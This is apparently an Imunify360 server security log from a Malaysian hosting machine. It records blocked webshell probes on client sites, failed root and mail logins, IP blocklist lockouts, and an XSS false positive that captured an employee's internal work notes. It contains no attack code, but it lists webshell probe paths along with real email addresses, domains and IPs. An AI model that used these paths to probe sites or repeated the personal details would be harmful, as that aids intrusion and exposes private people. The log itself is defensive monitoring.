IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/career.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/about.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.104.139.250
country_id: 6252001
description:
[2026-01-12 22:07:40 +0800] info [whostmgrd] 74.104.139.250 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.100.88
country_id: 1814991
description:
Jan 12 22:08:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.100.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.100.88
country_id: 1814991
description:
2026-01-12 22:08:14 dovecot_login authenticator failed for H=([111.26.100.88]) [111.26.100.88]:41304: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 22:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58376: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.115
country_id: 690791
description:
Jan 12 22:11:49 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.78
country_id: 798544
description:
Jan 12 22:12:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 22:11:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58377: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.78
country_id: 798544
description:
Jan 12 22:12:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.54
country_id: 798544
description:
Jan 12 22:12:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.97.73.3
country_id: 3469034
description:
Jan 12 22:13:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.97.73.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.165
country_id: 3865483
description:
Jan 12 22:13:48 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.163.182.250
country_id: 1282988
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/finder/Exception/AccessDeniedException.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-12 22:16:04 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:35880: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.73.169.24
country_id: 2186224
description:
Jan 12 22:17:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.73.169.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.24
country_id: 2186224
description:
2026-01-12 22:17:12 dovecot_login authenticator failed for H=([121.73.169.24]) [121.73.169.24]:58738: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.87.246.183
country_id: 6252001
description:
[2026-01-12 22:18:37 +0800] info [whostmgrd] 67.87.246.183 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 45.39.145.26
country_id: 3932488
domain: www.inter-link.edu.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; SM-A225F Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2022604050 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/26.4.5 ByteLocale/en ByteFullLocale/en Region/GB Spark/1.1.9.4-bugfix AppVersion/26.4.5 PIA/1.4.3 BytedanceWebview/d8a21c6||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.10.193
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-22.65.111.10.193||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.111
country_id: 3469034
description:
Jan 12 22:23:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.78
country_id: 2510769
description:
Jan 12 22:24:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.242
country_id: 953987
description:
Jan 12 22:24:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.111
country_id: 3469034
description:
Jan 12 22:24:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.111 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 152.42.225.209
country_id: 1880251
domain: www.maalloys.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/reports/zip.php||SC:/home2/maalloyscom/public_html/images/reports/zip.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.128
country_id: 3469034
description:
Jan 12 22:28:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.255.162.120
country_id: 3175395
description:
Jan 12 22:28:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.255.162.120 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.106.5.171
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=3&sub=38 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.175.147.195
country_id: 99237
description:
2026-01-12 22:32:09 H=([5.175.147.195]) [5.175.147.195]:59992 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.148.113.10
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f005 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.82.101.120
country_id: 3686110
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f005/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.19.9
country_id: 953987
description:
Jan 12 22:33:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.19.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.153.174.20
country_id: 298795
description:
Jan 12 22:33:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.153.174.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.175.147.195
country_id: 99237
description:
2026-01-12 22:33:50 H=([5.175.147.195]) [5.175.147.195]:59914 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.175.147.195
country_id: 99237
description:
2026-01-12 22:34:32 H=([5.175.147.195]) [5.175.147.195]:59991 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.95.73.31
country_id: 1814991
description:
Jan 12 22:36:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.95.73.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.95.73.31
country_id: 1814991
description:
2026-01-12 22:36:47 dovecot_login authenticator failed for H=(31.73.95.218.broad.yc.jx.dynamic.163data.com.cn) [218.95.73.31]:52703: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.35.148
country_id: 3865483
description:
Jan 12 22:37:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.35.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.35.148
country_id: 3865483
description:
Jan 12 22:37:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.35.148 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 161.142.153.172
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p class=\"msonormal\" style=\"margin-left: 18.0pt;\">&nbsp;</p>\r\n<ul>\r\n<li class=\"msonormal\">create the item code for tink display box . bc have issues the replication to tpy and tah wating the consultant to solve it .&nbsp;</li>\r\n<li class=\"msonormal\">reply tax agent for the tax audit issues .&nbsp;</li>\r\n<li class=\"msonormal\">lhdn subsequent request the general ledger for 31.03.2024 and 31.03.2025<span style=\"mso-tab-count: 1;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></li>\r\n<li class=\"msonormal\">stock count&nbsp;\r\n<ul>\r\n<li class=\"msonormal\">discuss with the anuar duplicated item code in the system. he will send email to block the old code and transfer the balance item to the new code .&nbsp;</li>\r\n<li class=\"msonormal\">daryl will recount the redcell item variance quantity&nbsp;</li>\r\n</ul>\r\n</li>\r\n<li class=\"msonormal\">export the tah sales history with the information purchaser order and sales order no.</li>\r\n<li class=\"msonormal\">export the tah sales history<span style=\"mso-spacerun: yes;\">&nbsp; </span>and working the row data combined nav and bc data information for the sales analysis</li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 22:39:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58401: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.81.202
country_id: 1269750
description:
Jan 12 22:38:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.81.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 22:39:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58402: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.164.240.113
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=268452 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.39
country_id: 3175395
description:
Jan 12 22:42:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.39 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.72.233.25
country_id: 3469034
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/news.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.152.119.167
country_id: 3469034
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/tool.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/sliders/faq.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.16.233
country_id: 2300660
description:
Jan 12 22:47:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.16.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.173
country_id: 3175395
description:
Jan 12 22:47:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.194
country_id: 2395170
description:
Jan 12 22:50:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.116
country_id: 690791
description:
Jan 12 22:50:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.134.21.194
country_id: 2328926
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/earth/103/680436 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.13
country_id: 2510769
description:
Jan 12 22:52:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.249.205
country_id: 3865483
description:
Jan 12 22:52:43 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.249.205 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 209.38.70.84
country_id: 6252001
domain: inter-link.edu.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/141.0.0.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.128.37.38
country_id: 6252001
description:
[2026-01-12 22:58:10 +0800] info [whostmgrd] 76.128.37.38 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.80.220.76
country_id: 2017370
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=124214 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.138
country_id: 3865483
description:
Jan 12 22:59:06 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.138
country_id: 3865483
description:
Jan 12 22:59:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.249.208
country_id: 3865483
description:
Jan 12 22:59:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.249.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 80.82.70.133
country_id: 241170
description:
2026-01-12 23:04:32 2479632 [Warning] Aborted connection 2479632 to db: 'unconnected' user: 'unauthenticated' host: '80.82.70.133' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.72
country_id: 798544
description:
Jan 12 23:05:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.133.148
country_id: 3865483
description:
Jan 12 23:05:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.133.148 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.173.87.62
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-05.216.173.87.62||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/news.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.187.21
country_id: 337996
description:
Jan 12 23:06:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.187.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-01-12 23:06:58 dovecot_login authenticator failed for H=([196.188.187.21]) [196.188.187.21]:43652: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 23:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58424: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


